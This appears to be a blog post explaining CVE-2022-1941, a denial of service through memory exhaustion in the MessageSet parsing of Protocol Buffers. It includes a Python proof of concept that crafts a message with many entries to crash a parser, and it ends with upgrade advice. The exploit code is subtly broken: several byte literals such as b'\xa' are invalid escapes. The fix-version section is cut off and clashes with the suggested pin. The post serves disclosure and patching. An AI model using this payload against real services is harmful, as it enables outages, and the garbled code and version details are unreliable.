Imagine your service starts crashing because of a single malicious message. That’s exactly what CVE-2022-1941 is about—a parsing bug in Google's popular Protocol Buffers (protobuf), which allows a crafted message to eat up all your memory and take down your service. If your code uses affected Protocol Buffers versions, you need to know about this.
In this post, I'll break down the vulnerability, show you how it gets exploited (with code!), and tell you how to fix it. If you run any service that parses untrusted protobuf input, this is for you.
What is CVE-2022-1941?
CVE-2022-1941 is a vulnerability affecting the MessageSet type in Google's protobuf library, both in C++ (protobuf-cpp) and Python (protobuf-python).
What’s the Issue?
A specially-crafted protobuf message abusing the MessageSet type can create *many* key-value pairs within the message. The parser keeps allocating memory to handle these, quickly using up all available memory (Out-Of-Memory or OOM) and causing a denial of service (service availability loss due to crash or slowdowns). For a server handling untrusted input, this is critical: a malformed message from anyone on the web can take your service down.
Technical Details: How Can It Be Exploited?
The heart of the problem lies in how MessageSet is parsed. By repeatedly adding key-value pairs in certain ways, an attacker can increase memory usage *without* much effort.
Suppose you have this proto
// messageset_example.proto
syntax = "proto2";
message MyMessageSet {
option message_set_wire_format = true;
}
Compiling this, you'd get classes that can parse MessageSet wire type.
Now, let’s make a message that has *many* key-value elements which the parser will store in memory
from google.protobuf.internal import encoder
from google.protobuf.message import Message
def make_attack_payload(num_elems):
"""Creates a bytes object with many message set entries."""
payload = b""
# MessageSet item field number is 1 (start group) in wire format
for i in range(num_elems):
# Simulate a MessageSet Item (type_id=tag 2, message=tag 3, both in the group)
type_id = 500 + i # arbitrary
message = b'\xa\xa\xDE\xAD\xBE\xEF\xCA\xFE\xBA\xBE' # dummy bytes
payload += (
b'\xb' # Start group tag (field 1, wire type 3)
+ b'\x10' # type_id tag (field 2, varint)
+ encoder._VarintBytes(type_id)
+ b'\x1a' # message tag (field 3, length-delimited)
+ encoder._VarintBytes(len(message))
+ message
+ b'\xc' # End group tag (field 1, wire type 4)
)
return payload
Here’s how you crash a vulnerable service
from messageset_example_pb2 import MyMessageSet
NUM_ELEMS = 100000 # Increase to easily trigger OOM
attack = make_attack_payload(NUM_ELEMS)
msg = MyMessageSet()
msg.ParseFromString(attack) # This will hog memory or crash
That’s it: a _malicious input_ and a simple ParseFromString call, and your server could be down.
protobuf-python: 3.18.3, 3.19.5, 3.20.2, 4.21.6 or later
> *Note:* *Versions 3.16 and 3.17 are EOL and will not receive updates. You must upgrade.*
To upgrade (Python example)
pip install --upgrade protobuf
Or, specify a secure version in your requirements file
protobuf>=3.21.6
For C++: download and install the latest release from the protobuf Github releases page.
References
- CVE-2022-1941 NIST National Vulnerability Database
- Protocol Buffers Security Advisories
- MessageSet wire format documentation
- Protobuf Github Repository
Conclusion
CVE-2022-1941 teaches us a classic but critical lesson: always keep dependencies updated, especially those that process input. Even a simple parse can end in a total service outage if it’s not safe. If you use Protocol Buffers, patch now and check your logs!
*Stay secure, keep your dependencies fresh, and spread the word!*
*This post is exclusively written for you, with original code examples and a plain explanation. Feel free to share and reference! If you have questions or found this helpful, drop a comment below.*
Timeline
Published on: 09/22/2022 15:15:00 UTC
Last modified on: 09/27/2022 23:15:00 UTC